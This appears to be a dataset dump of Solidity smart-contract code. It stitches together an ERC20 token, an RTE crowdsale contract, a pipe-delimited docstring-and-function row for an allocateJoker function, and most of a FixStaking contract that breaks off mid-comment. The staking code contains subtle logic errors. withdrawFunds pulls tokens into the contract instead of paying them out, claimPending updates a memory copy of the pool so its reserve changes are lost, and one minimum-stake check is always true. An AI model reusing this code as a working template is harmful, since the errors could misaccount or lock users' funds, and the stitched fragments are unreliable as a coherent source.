require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Whitelisted Pausable token
* @dev StandardToken modified with pausable transfers. Enables a whitelist to enable transfers
* only for certain addresses such as crowdsale contract, issuing account etc.
**/
contract WhitelistedPausableToken is StandardToken, Pausable {
mapping(address => bool) public whitelist;
/**
* @dev Reverts if the message sender requesting for transfer is not whitelisted when token
* transfers are paused
* @param _sender check transaction sender address
*/
modifier whenNotPausedOrWhitelisted(address _sender) {
require(whitelist[_sender] || !paused);
_;
}
/**
* @dev Adds single address to whitelist.
* @param _whitelistAddress Address to be added to the whitelist
*/
function addToWhitelist(address _whitelistAddress) external onlyOwner {
whitelist[_whitelistAddress] = true;
}
/**
* @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing.
* @param _whitelistAddresses Addresses to be added to the whitelist
*/
function addManyToWhitelist(address[] _whitelistAddresses) external onlyOwner {
for (uint256 i = 0; i < _whitelistAddresses.length; i++) {
whitelist[_whitelistAddresses[i]] = true;
}
}
/**
* @dev Removes single address from whitelist.
* @param _whitelistAddress Address to be removed to the whitelist
*/
function removeFromWhitelist(address _whitelistAddress) external onlyOwner {
whitelist[_whitelistAddress] = false;
}
// Adding modifier to transfer/approval functions
function transfer(address _to, uint256 _value) public whenNotPausedOrWhitelisted(msg.sender) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPausedOrWhitelisted(msg.sender) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPausedOrWhitelisted(msg.sender) returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPausedOrWhitelisted(msg.sender) returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPausedOrWhitelisted(msg.sender) returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title RTEToken
* @dev ERC20 token implementation
* Pausable
*/
contract RTEToken is WhitelistedPausableToken {
string public constant name = "Rate3";
string public constant symbol = "RTE";
uint8 public constant decimals = 18;
// 1 billion initial supply of RTE tokens
// Taking into account 18 decimals
uint256 public constant INITIAL_SUPPLY = (10 ** 9) * (10 ** 18);
/**
* @dev RTEToken Constructor
* Mints the initial supply of tokens, this is the hard cap, no more tokens will be minted.
* Allocate the tokens to the foundation wallet, issuing wallet etc.
*/
function RTEToken() public {
// Mint initial supply of tokens. All further minting of tokens is disabled
totalSupply_ = INITIAL_SUPPLY;
// Transfer all initial tokens to msg.sender
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
/**
* @title RTECrowdsale
* @dev test
*/
contract RTECrowdsale is AllowanceCrowdsale, WhitelistedCrowdsale, FinalizableCrowdsale {
using SafeERC20 for ERC20;
uint256 public constant minimumInvestmentInWei = 0.5 ether;
uint256 public allTokensSold;
uint256 public bonusTokensSold;
uint256 public cap;
mapping (address => uint256) public tokenInvestments;
mapping (address => uint256) public bonusTokenInvestments;
RTEBonusTokenVault public bonusTokenVault;
/**
* @dev Contract initialization parameters
* @param _openingTime Public crowdsale opening time
* @param _closingTime Public crowdsale closing time
* @param _rate Initial rate (Maybe remove, put as constant)
* @param _cap RTE token issue cap (Should be the same amount as approved allowance from issueWallet)
* @param _wallet Multisig wallet to send ether raised to
* @param _issueWallet Wallet that approves allowance of tokens to be issued
* @param _token RTE token address deployed seperately
*/
function RTECrowdsale(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _cap,
address _wallet,
address _issueWallet,
RTEToken _token
)
AllowanceCrowdsale(_issueWallet)
TimedCrowdsale(_openingTime, _closingTime)
Crowdsale(_rate, _wallet, _token)
public
{
require(_cap > 0);
cap = _cap;
bonusTokenVault = new RTEBonusTokenVault(_token);
}
/**
* @dev Checks whether the cap for RTE has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return allTokensSold >= cap;
}
/**
* @dev Calculate bonus RTE percentage to be allocated based on time rules
* time is calculated by now = block.timestamp, will be consistent across transaction if called
* multiple times in same transaction
* @return Bonus percentage in percent value
*/
function _calculateBonusPercentage() internal view returns (uint256) {
return 20;
}
/**
* @dev Get current RTE balance of bonus token vault
*/
function getRTEBonusTokenVaultBalance() public view returns (uint256) {
return token.balanceOf(address(bonusTokenVault));
}
/**
* @dev Extend parent behavior requiring purchase to respect minimum investment per transaction.
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(msg.value >= minimumInvestmentInWei);
}
/**
* @dev Keep track of tokens purchased extension functionality
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Value in amount of token purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
uint256 bonusPercentage = _calculateBonusPercentage();
uint256 additionalBonusTokens = _tokenAmount.mul(bonusPercentage).div(100);
uint256 tokensSold = _tokenAmount;
// Check if exceed token sale cap
uint256 newAllTokensSold = allTokensSold.add(tokensSold).add(additionalBonusTokens);
require(newAllTokensSold <= cap);
// Process purchase
super._processPurchase(_beneficiary, tokensSold);
allTokensSold = allTokensSold.add(tokensSold);
tokenInvestments[_beneficiary] = tokenInvestments[_beneficiary].add(tokensSold);
if (additionalBonusTokens > 0) {
// Record bonus tokens allocated and transfer it to RTEBonusTokenVault
allTokensSold = allTokensSold.add(additionalBonusTokens);
bonusTokensSold = bonusTokensSold.add(additionalBonusTokens);
bonusTokenVault.allocateInvestorBonusToken(_beneficiary, additionalBonusTokens);
bonusTokenInvestments[_beneficiary] = bonusTokenInvestments[_beneficiary].add(additionalBonusTokens);
}
}
/**
* @dev Unlock secondary tokens, can only be done by owner of contract
*/
function unlockSecondaryTokens() public onlyOwner {
require(isFinalized);
bonusTokenVault.unlockSecondary();
}
/**
* @dev Claim bonus tokens from vault after bonus tokens are released
* @param _beneficiary Address receiving the tokens
*/
function claimBonusTokens(address _beneficiary) public {
require(isFinalized);
bonusTokenVault.claim(_beneficiary);
}
/**
* @dev Claim timelocked bonus tokens from vault after bonus tokens are released
* @param _beneficiary Address receiving the tokens
*/
function claimLockedBonusTokens(address _beneficiary) public {
require(isFinalized);
bonusTokenVault.claimLocked(_beneficiary);
}
/**
* @dev Called manually when token sale has ended with finalize()
*/
function finalization() internal {
// Credit bonus tokens sold to bonusTokenVault
token.transferFrom(tokenWallet, bonusTokenVault, bonusTokensSold);
// Unlock bonusTokenVault for non-timelocked tokens to be claimed
bonusTokenVault.unlock();
super.finalization();
}
}
|
RTEToken Constructor Mints the initial supply of tokens, this is the hard cap, no more tokens will be minted. Allocate the tokens to the foundation wallet, issuing wallet etc./ Mint initial supply of tokens. All further minting of tokens is disabled Transfer all initial tokens to msg.sender
|
function RTEToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
| 1,836,664 |
./full_match/4/0xBc9975EbC34617b5B82Cf7Aa9D5b199C2120cD85/sources/contracts/5_JokerCharlie.sol
|
Allocate Bit and Small Joker to a single buyer
|
function allocateJoker(address buyer, uint256 numberOfNJoker, uint256 numberOfVJoker) external onlyOwner {
for (uint i; i < numberOfNJoker; i++) {
assignJoker(buyer, JokerType.Normal);
}
for (uint j; j < numberOfVJoker; j++) {
assignJoker(buyer, JokerType.VIP);
}
}
| 661,466 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./lib/UintSet.sol";
contract FixStaking is AccessControl, Pausable {
using UintSet for Set;
event RemovePool(uint256 poolIndex);
event SetMinMax(uint256 minStake, uint256 maxStake);
event SetPenDay(uint256 penaltyDuration);
event PoolFunded(uint256 poolIndex, uint256 fundAmount);
event ReserveWithdrawed(uint256 poolIndex);
event Claimed(
address user,
uint256 depositAmountIncludePen,
uint256 reward,
uint256 stakerIndex,
uint256 poolIndex
);
event Deposit(
address indexed staker,
uint256 amount,
uint256 startTime,
uint256 closedTime,
uint256 indexed poolIndex,
uint256 indexed stakerIndex
);
event Restake(
address indexed staker,
uint256 amount,
uint256 indexed poolIndex,
uint256 indexed stakerIndex
);
event Withdraw(
address indexed staker,
uint256 withdrawAmount,
uint256 reward,
uint256 mainPenaltyAmount,
uint256 subPenaltyAmount,
uint256 indexed poolIndex,
uint256 indexed stakerIndex
);
event EmergencyWithdraw(
address indexed staker,
uint256 withdrawAmount,
uint256 reward,
uint256 mainPenaltyAmount,
uint256 subPenaltyAmount,
uint256 indexed poolIndex,
uint256 indexed stakerIndex
);
event NewPool(
uint256 indexed poolIndex,
uint256 startTime,
uint256 duration,
uint256 apy,
uint256 mainPenaltyRate,
uint256 subPenaltyRate,
uint256 lockedLimit,
uint256 promisedReward,
bool nftReward
);
struct PoolInfo {
uint256 startTime;
uint256 duration;
uint256 apy;
uint256 mainPenaltyRate;
uint256 subPenaltyRate;
uint256 lockedLimit;
uint256 stakedAmount;
uint256 reserve;
uint256 promisedReward;
bool nftReward;
}
struct StakerInfo {
uint256 poolIndex;
uint256 startTime;
uint256 amount;
uint256 lastIndex;
uint256 pendingStart;
uint256 reward;
bool isFinished;
bool pendingRequest;
}
mapping(address => mapping(uint256 => StakerInfo)) public stakers;
mapping(address => uint256) public currentStakerIndex;
// user address => pool index => total deposit amount
mapping(address => mapping(uint256 => uint256)) public amountByPool;
// Minumum amount the user can deposit in 1 pool.We will not look at the total amount deposited by the user into the pool.
uint256 public minStake;
// Maximum amount the user can deposit in 1 pool. We will look at the total amount the user deposited into the pool.
uint256 public maxStake;
// Time for penalized users have to wait.
uint256 public penaltyDuration;
// Pool Index => Pool Info
PoolInfo[] public pools;
IERC20 public token;
uint256 private unlocked = 1;
/**
* @notice Checks if the pool exists
*/
modifier isPoolExist(uint256 _poolIndex) {
require(
pools[_poolIndex].startTime > 0,
"isPoolExist: This pool not exist"
);
_;
}
/**
* @notice Checks if the already finish.
*/
modifier isFinished(address _user, uint256 _stakerIndex) {
StakerInfo memory staker = stakers[_user][_stakerIndex];
require(
staker.isFinished == false,
"isFinished: This index already finished."
);
_;
}
/**
* @notice Check if these values are valid
*/
modifier isValid(
uint256 _startTime,
uint256 _duration,
uint256 _apy
) {
require(
_startTime >= block.timestamp,
"isValid: Start time must be greater than current time"
);
require(_duration != 0, "isValid: duration can not be ZERO.");
require(_apy != 0, "isValid: Apy can not be ZERO.");
_;
}
modifier lock() {
require(unlocked == 1, "FixStaking: LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
constructor(address _token) {
require(_token != address(0), "FixStaking: token can not be ZERO.");
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
token = IERC20(_token);
}
/**
* Pauses the contract
*/
function pause() external onlyRole(DEFAULT_ADMIN_ROLE) {
_pause();
}
/**
* removes the pause
*/
function unPause() external onlyRole(DEFAULT_ADMIN_ROLE) {
_unpause();
}
/**
* Sets minumum and maximum deposit amount for user
*/
function setMinMaxStake(uint256 _minStake, uint256 _maxStake)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(
_minStake >= 0,
"setMinMaxStake: minumum amount cannot be ZERO"
);
require(
_maxStake > _minStake,
"setMinMaxStake: maximum amount cannot be lower than minimum amount"
);
minStake = _minStake;
maxStake = _maxStake;
emit SetMinMax(_minStake, _maxStake);
}
/**
* Admin can set penalty time with this function
* @param _duration penalty time in seconds
*/
function setPenaltyDuration(uint256 _duration)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(
_duration <= 5 days,
"setPenaltyDuration: duration must be less than 5 days"
);
penaltyDuration = _duration;
emit SetPenDay(_duration);
}
/**
* Admin has to fund the pool for rewards. Using this function, he can finance any pool he wants.
* @param _poolIndex the index of the pool it wants to fund.
* @param _fundingAmount amount of funds to be added to the pool.
*/
function fundPool(uint256 _poolIndex, uint256 _fundingAmount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
isPoolExist(_poolIndex)
{
require(
token.transferFrom(msg.sender, address(this), _fundingAmount),
"fundPool: token transfer failed."
);
pools[_poolIndex].reserve += _fundingAmount;
emit PoolFunded(_poolIndex, _fundingAmount);
}
/**
* Used when tokens are accidentally sent to the contract.
* @param _token address will be recover.
*/
function withdrawERC20(address _token, uint256 _amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(
_token != address(token),
"withdrawERC20: token can not be Reward Token."
);
require(
IERC20(_token).transfer(msg.sender, _amount),
"withdrawERC20: Transfer failed"
);
}
function withdrawFunds(uint256 _poolIndex, uint256 _amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
PoolInfo memory pool = pools[_poolIndex];
require(
pool.reserve - pool.promisedReward >= _amount,
"withdrawFunds: Amount should be lower that promised rewards."
);
require(
token.transferFrom(msg.sender, address(this), _amount),
"withdrawFunds: token transfer failed."
);
}
/**
* With this function, the administrator can create an interest period.
* Periods of 30 - 90 - 365 days can be created.
*
* Example:
* -------------------------------------
* | Apy ve altındakiler 1e16 %1 olacak şekilde ayarlanır.
* | duration = 2592000 => 30 Days
* | apy = 100000000000000000 => %10 Monthly
* | mainPenaltyRate = 100000000000000000 => %10 Main penalty rate
* | subPenaltyRate = 50000000000000000 => %5 Sub penalty rate
* |
* -------------------------------------
*
* @param _startTime in seconds.
* @param _duration in seconds.
* @param _apy 1 month rate should be 18 decimal.
* @param _mainPenaltyRate Percentage of penalty to be deducted from the user's deposit amount.
* @param _subPenaltyRate Percentage of penalty to be deducted from the reward won by the user.
*/
function createPool(
uint256 _startTime,
uint256 _duration,
uint256 _apy,
uint256 _mainPenaltyRate,
uint256 _subPenaltyRate,
uint256 _lockedLimit,
bool _nftReward
)
external
onlyRole(DEFAULT_ADMIN_ROLE)
isValid(_startTime, _duration, _apy)
{
PoolInfo memory pool = PoolInfo(
_startTime,
_duration,
_apy,
_mainPenaltyRate,
_subPenaltyRate,
_lockedLimit,
0,
0,
0,
_nftReward
);
pools.push(pool);
uint256 poolIndex = pools.length - 1;
emit NewPool(
poolIndex,
_startTime,
_duration,
_apy,
_mainPenaltyRate,
_subPenaltyRate,
_lockedLimit,
pool.promisedReward,
_nftReward
);
}
/**
* The created period can be edited by the admin.
* @param _poolIndex the index of the pool to be edited.
* @param _startTime pool start time in seconds.
* @param _duration pool duration time in seconds.
* @param _apy the new apy ratio.
* @param _mainPenaltyRate the new main penalty rate.
* @param _subPenaltyRate the new sub penalty rate.
* @param _lockedLimit maximum amount of tokens that can be locked for this pool
* @dev Reverts if the pool is not empty.
* @dev Reverts if the pool is not created before.
*/
function editPool(
uint256 _poolIndex,
uint256 _startTime,
uint256 _duration,
uint256 _apy,
uint256 _mainPenaltyRate,
uint256 _subPenaltyRate,
uint256 _lockedLimit,
bool _nftReward
)
external
onlyRole(DEFAULT_ADMIN_ROLE)
isPoolExist(_poolIndex)
isValid(_startTime, _duration, _apy)
{
require(
_mainPenaltyRate == 0,
"editPool: main penalty rate must be equal to 0"
);
PoolInfo storage pool = pools[_poolIndex];
pool.startTime = _startTime;
pool.duration = _duration;
pool.apy = _apy;
pool.mainPenaltyRate = _mainPenaltyRate;
pool.subPenaltyRate = _subPenaltyRate;
pool.lockedLimit = _lockedLimit;
pool.nftReward = _nftReward;
emit NewPool(
_poolIndex,
_startTime,
_duration,
_apy,
_mainPenaltyRate,
_subPenaltyRate,
_lockedLimit,
pool.promisedReward,
_nftReward
);
}
/**
* The created period can be remove by the admin.
* @param _poolIndex the index of the to be removed pool.
* @dev Reverts if the pool is not empty.
* @dev Reverts if the pool is not created before.
*/
function removePool(uint256 _poolIndex)
external
onlyRole(DEFAULT_ADMIN_ROLE)
isPoolExist(_poolIndex)
{
if (pools[_poolIndex].reserve > 0) {
require(
token.transfer(msg.sender, pools[_poolIndex].reserve),
"removePool: transfer failed."
);
}
delete pools[_poolIndex];
emit RemovePool(_poolIndex);
}
/**
* Users can deposit money into any pool they want.
* @notice Each time the user makes a deposit, the structer is kept at a different stakerIndex so it can be in more than one or the same pool at the same time.
* @notice Users can join the same pool more than once at the same time.
* @notice Users can join different pools at the same time.
* @param _amount amount of money to be deposited.
* @param _poolIndex index of the period to be entered.
* @dev reverts if the user tries to deposit it less than the minimum amount.
* @dev reverts if the user tries to deposit more than the maximum amount into the one pool.
* @dev reverts if the pool does not have enough funds.
*/
function deposit(uint256 _amount, uint256 _poolIndex)
external
whenNotPaused
lock
isPoolExist(_poolIndex)
{
uint256 index = currentStakerIndex[msg.sender];
StakerInfo storage staker = stakers[msg.sender][index];
PoolInfo storage pool = pools[_poolIndex];
uint256 reward = calculateRew(_amount, pool.apy, pool.duration);
uint256 totStakedAmount = pool.stakedAmount + _amount;
pool.promisedReward += reward;
require(
_amount >= minStake,
"deposit: You cannot deposit below the minimum amount."
);
require(
(amountByPool[msg.sender][_poolIndex] + _amount) <= maxStake,
"deposit: You cannot deposit, have reached the maximum deposit amount."
);
require(
pool.reserve >= reward,
"deposit: This pool has no enough reward reserve"
);
require(
pool.lockedLimit >= totStakedAmount,
"deposit: The pool has reached its maximum capacity."
);
require(
block.timestamp >= pool.startTime,
"deposit: This pool hasn't started yet."
);
uint256 duration = pool.duration;
uint256 timestamp = block.timestamp;
require(
token.transferFrom(msg.sender, address(this), _amount),
"deposit: Token transfer failed."
);
staker.startTime = timestamp;
staker.amount = _amount;
staker.poolIndex = _poolIndex;
pool.stakedAmount += _amount;
currentStakerIndex[msg.sender] += 1;
amountByPool[msg.sender][_poolIndex] += _amount;
emit Deposit(
msg.sender,
_amount,
timestamp,
(timestamp + duration),
_poolIndex,
index
);
}
/**
* Users can exit the period they are in at any time.
* @notice Users who are not penalized can withdraw their money directly with this function. Users who are penalized should execut the claimPending function after this process.
* @notice If the period has not finished, they will be penalized at the rate of mainPeanltyRate from their deposit.
* @notice If the period has not finished, they will be penalized at the rate of subPenaltyRate from their rewards.
* @notice Penalized users will be able to collect their rewards later with the claim function.
* @param _stakerIndex of the period want to exit.
* @dev reverts if the user's deposit amount is ZERO
* @dev reverts if the pool does not have enough funds to cover the reward
*/
function withdraw(uint256 _stakerIndex)
external
whenNotPaused
lock
isFinished(msg.sender, _stakerIndex)
{
StakerInfo storage staker = stakers[msg.sender][_stakerIndex];
PoolInfo storage pool = pools[staker.poolIndex];
require(
staker.pendingRequest == false,
"withdraw: you have already requested claim."
);
require(staker.amount > 0, "withdraw: Insufficient amount.");
uint256 closedTime = getClosedTime(msg.sender, _stakerIndex);
uint256 duration = _getStakerDuration(closedTime, staker.startTime);
uint256 reward = calculateRew(staker.amount, pool.apy, duration);
// If the user tries exits before the pool end time they should be penalized
(uint256 mainPen, uint256 subPen) = getPenalty(
msg.sender,
_stakerIndex
);
uint256 totalReward = (reward - subPen);
uint256 totalWithdraw = (staker.amount + totalReward);
staker.reward = totalReward;
pool.reserve -= staker.reward;
pool.promisedReward = pool.promisedReward <= totalReward
? 0
: pool.promisedReward - totalReward;
pool.stakedAmount -= staker.amount;
amountByPool[msg.sender][staker.poolIndex] -= staker.amount;
// ELSE user tries withdraw before the period end time he needs to be wait cooldown
if (closedTime <= block.timestamp) {
_transferAndRemove(msg.sender, totalWithdraw, _stakerIndex);
} else {
staker.pendingStart = block.timestamp;
staker.pendingRequest = true;
}
emit Withdraw(
msg.sender,
totalReward,
totalWithdraw,
mainPen,
subPen,
staker.poolIndex,
_stakerIndex
);
}
/**
* After the user has completed enough duration in the pool, he can stake to the same pool again with this function.
* @notice The same stakerIndex is used to save gas.
* @notice The reward he won from the pool will be added to the amount he deposited.
*/
function restake(uint256 _stakerIndex)
external
whenNotPaused
lock
isFinished(msg.sender, _stakerIndex)
{
StakerInfo storage staker = stakers[msg.sender][_stakerIndex];
PoolInfo storage pool = pools[staker.poolIndex];
uint256 poolIndex = staker.poolIndex;
uint256 closedTime = getClosedTime(msg.sender, _stakerIndex);
require(staker.amount > 0, "restake: Insufficient amount.");
require(
staker.pendingRequest == false,
"restake: You have already requested claim."
);
require(
block.timestamp >= closedTime,
"restake: Time has not expired."
);
uint256 duration = _getStakerDuration(closedTime, staker.startTime);
uint256 reward = calculateRew(staker.amount, pool.apy, duration);
uint256 totalDeposit = staker.amount + reward;
uint256 promisedReward = calculateRew(
totalDeposit,
pool.apy,
pool.duration
);
pool.promisedReward += promisedReward;
// we are checking only reward because staker amount currently staked.
require(
pool.reserve >=
calculateRew(
pool.stakedAmount + reward,
pool.apy,
pool.duration
),
"restake: This pool has no enough reward reserve"
);
require(
(amountByPool[msg.sender][poolIndex] + reward) <= maxStake,
"restake: You cannot deposit, have reached the maximum deposit amount."
);
pool.stakedAmount += reward;
staker.startTime = block.timestamp;
staker.amount = totalDeposit;
amountByPool[msg.sender][poolIndex] += reward;
emit Restake(msg.sender, totalDeposit, poolIndex, _stakerIndex);
}
/**
* @notice Emergency function
* Available only when the contract is paused. Users can withdraw their inside amount without receiving the rewards.
*/
function emergencyWithdraw(uint256 _stakerIndex)
external
whenPaused
isFinished(msg.sender, _stakerIndex)
{
StakerInfo memory staker = stakers[msg.sender][_stakerIndex];
PoolInfo storage pool = pools[staker.poolIndex];
require(staker.amount > 0, "withdraw: Insufficient amount.");
uint256 withdrawAmount = staker.amount;
pool.stakedAmount -= withdrawAmount;
pool.promisedReward -= calculateRew(
withdrawAmount,
pool.apy,
pool.duration
);
amountByPool[msg.sender][staker.poolIndex] -= withdrawAmount;
_transferAndRemove(msg.sender, withdrawAmount, _stakerIndex);
emit EmergencyWithdraw(
msg.sender,
withdrawAmount,
staker.reward,
pool.mainPenaltyRate,
pool.subPenaltyRate,
staker.poolIndex,
_stakerIndex
);
}
/**
* Users who have been penalized can withdraw their tokens with this function when the 4-day penalty period expires.
* @param _stakerIndex of the period want to claim.
*/
function claimPending(uint256 _stakerIndex)
external
whenNotPaused
lock
isFinished(msg.sender, _stakerIndex)
{
StakerInfo storage staker = stakers[msg.sender][_stakerIndex];
PoolInfo memory pool = pools[staker.poolIndex];
require(staker.amount > 0, "claim: You do not have a pending amount.");
require(
block.timestamp >= staker.pendingStart + penaltyDuration,
"claim: Please wait your time has not been up."
);
uint256 mainAmount = staker.amount;
// If a penalty rate is defined that will be deducted from the amount deposited by the user
// Deduct this penalty from the amount deposited by the user and transfer the penalty amount to the reward reserve.
if (pool.mainPenaltyRate > 0) {
(uint256 mainPen, ) = getPenalty(msg.sender, _stakerIndex);
mainAmount = mainAmount - mainPen;
pool.reserve += mainPen;
}
staker.pendingRequest = false;
// There is no need to deduct the amount from the reward earned as much as the penalty rate.
// We already did in the withdraw function.
uint256 totalPending = mainAmount + staker.reward;
pool.promisedReward -= staker.reward;
_transferAndRemove(msg.sender, totalPending, _stakerIndex);
emit Claimed(
msg.sender,
mainAmount,
staker.reward,
_stakerIndex,
staker.poolIndex
);
}
/**
* Returns the penalty, if any, of the user whose address and index are given.
* @param _staker address of the person whose penalty will be calculated.
* @param _stakerIndex user index to be calculated.
* @return mainPenalty penalty amount, to be deducted from the deposited amount by the user.
* @return subPenalty penalty amount, to be deducted from the reward amount.
*/
function getPenalty(address _staker, uint256 _stakerIndex)
public
view
returns (uint256 mainPenalty, uint256 subPenalty)
{
StakerInfo memory staker = stakers[_staker][_stakerIndex];
PoolInfo memory pool = pools[staker.poolIndex];
uint256 closedTime = getClosedTime(_staker, _stakerIndex);
if (closedTime > block.timestamp) {
uint256 duration = block.timestamp - staker.startTime;
uint256 reward = calculateRew(staker.amount, pool.apy, duration);
uint256 amountPen = (staker.amount * pool.mainPenaltyRate) / 1e18;
uint256 rewardPen = (reward * pool.subPenaltyRate) / 1e18;
return (amountPen, rewardPen);
}
return (0, 0);
}
/**
* Calculates the current reward of the user whose address and index are given.
* @param _amount amount of deposit.
* @param _apy monthly rate.
* @param _duration amount of time spent inside.
* @return reward amount of earned by the user.
*/
function calculateRew(
uint256 _amount,
uint256 _apy,
uint256 _duration
) public pure returns (uint256) {
uint256 rateToSec = (_apy * 1e36) / 30 days;
uint256 percent = (rateToSec * _duration) / 1e18;
return (_amount * percent) / 1e36;
}
/**
* Calculates the current reward of the user whose address and index are given.
* @param _staker address of the person whose reward will be calculated.
* @param _stakerIndex user index to be calculated.
* @return reward amount of earned by the user.
* @return mainPenalty penalty amount, to be deducted from the deposited amount by the user.
* @return subPenalty penalty amount, to be deducted from the reward amount.
* @return closedTime user end time.
* @return futureReward reward for completing the pool
* @return stakerInf Information owned by the user for this index.
*/
function stakerInfo(address _staker, uint256 _stakerIndex)
external
view
returns (
uint256 reward,
uint256 mainPenalty,
uint256 subPenalty,
uint256 closedTime,
uint256 futureReward,
StakerInfo memory stakerInf
)
{
StakerInfo memory staker = stakers[_staker][_stakerIndex];
PoolInfo memory pool = pools[staker.poolIndex];
closedTime = getClosedTime(_staker, _stakerIndex);
uint256 duration = _getStakerDuration(closedTime, staker.startTime);
reward = calculateRew(staker.amount, pool.apy, duration);
(mainPenalty, subPenalty) = getPenalty(_staker, _stakerIndex);
futureReward = calculateRew(staker.amount, pool.apy, pool.duration);
return (
reward,
mainPenalty,
subPenalty,
closedTime,
futureReward,
staker
);
}
function getClosedTime(address _staker, uint256 _stakerIndex)
public
view
returns (uint256)
{
StakerInfo memory staker = stakers[_staker][_stakerIndex];
PoolInfo memory pool = pools[staker.poolIndex];
uint256 closedTime = staker.startTime + pool.duration;
return closedTime;
}
/**
* Returns the available allocation for the given pool index.
*/
function getAvaliableAllocation(uint256 _poolIndex)
external
view
returns (uint256)
{
PoolInfo memory pool = pools[_poolIndex];
return pool.lockedLimit - pool.stakedAmount;
}
/**
* Returns a list of all pools.
*/
function getPoolList() external view returns (PoolInfo[] memory) {
return pools;
}
/**
* Returns the total staked amount and remaining allocation all pools.
